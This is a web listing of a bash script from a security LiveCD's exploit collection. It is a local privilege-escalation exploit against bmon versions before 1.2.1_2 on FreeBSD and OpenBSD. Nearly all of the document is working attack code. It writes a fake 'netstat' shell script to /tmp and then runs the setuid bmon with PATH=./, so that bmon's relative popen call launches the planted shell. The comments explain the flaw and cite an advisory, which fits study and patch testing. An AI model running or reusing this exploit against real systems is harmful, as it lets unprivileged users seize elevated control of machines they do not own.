home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / local / bmon.sh < prev    next >
Text File  |  2005-02-12  |  1KB  |  42 lines

  1. #!/usr/local/bin/bash
  2.  
  3. # Written by Idan Nahoum. idanna@bk.ru
  4. # local exploit for FreeBSD/OpenBSD with bmon < 1.2.1_2 installed.
  5. # when bmon is executed with the -n parameter it popen()s netcat
  6. # but fail to provide an absoluth path.
  7. # some bsds are configured with acls that doesnt allow setuid files to 
  8. # run except those that are explicity allowed, so creating a file called 
  9. # netcat that chmod's +s bash wouldnt work, bash needs to run directly by
  10. # bmon which uses ncurses, so to get a useable shell we need to redirect
  11. # stdout to stderr (stdout is closed), and restore the stty settings.
  12. # http://www.vuxml.org/freebsd/938f357c-16dd-11d9-bc4a-000c41e2cdad.html
  13.  
  14. declare -r SPATH="${PATH}"
  15. declare -r STTY_EXEC=$(which stty)
  16. declare -r STTY_SETTINGS=$(${STTY_EXEC} -g) 
  17. declare -r QSHELL="/usr/local/bin/bash"
  18. declare BMON_EXEC="/usr/local/sbin/bmon"
  19.  
  20. echo "$0 <path to bmon> [default: ${BMON_EXEC}]"
  21.  
  22. [ "$#" -gt "0" ] && BMON_EXEC="${1}"
  23.  
  24. [ -x "${BMON_EXEC}" ] || 
  25. {
  26. echo "${BMON_EXEC} not found"
  27. exit
  28. }
  29.  
  30. cd /tmp
  31.  
  32. # apparently bmon closes stdout, so we run a shell with stdout redirected 
  33. # to stderr.
  34.  
  35. cat > ./netstat <<EOF
  36. ${STTY_EXEC} ${STTY_SETTINGS}
  37. PATH=${SPATH} /bin/sh 1>&2
  38. EOF
  39.  
  40. /bin/chmod 755 ./netstat
  41. echo "trying to exploit"
  42. PATH=./ "${BMON_EXEC}" -n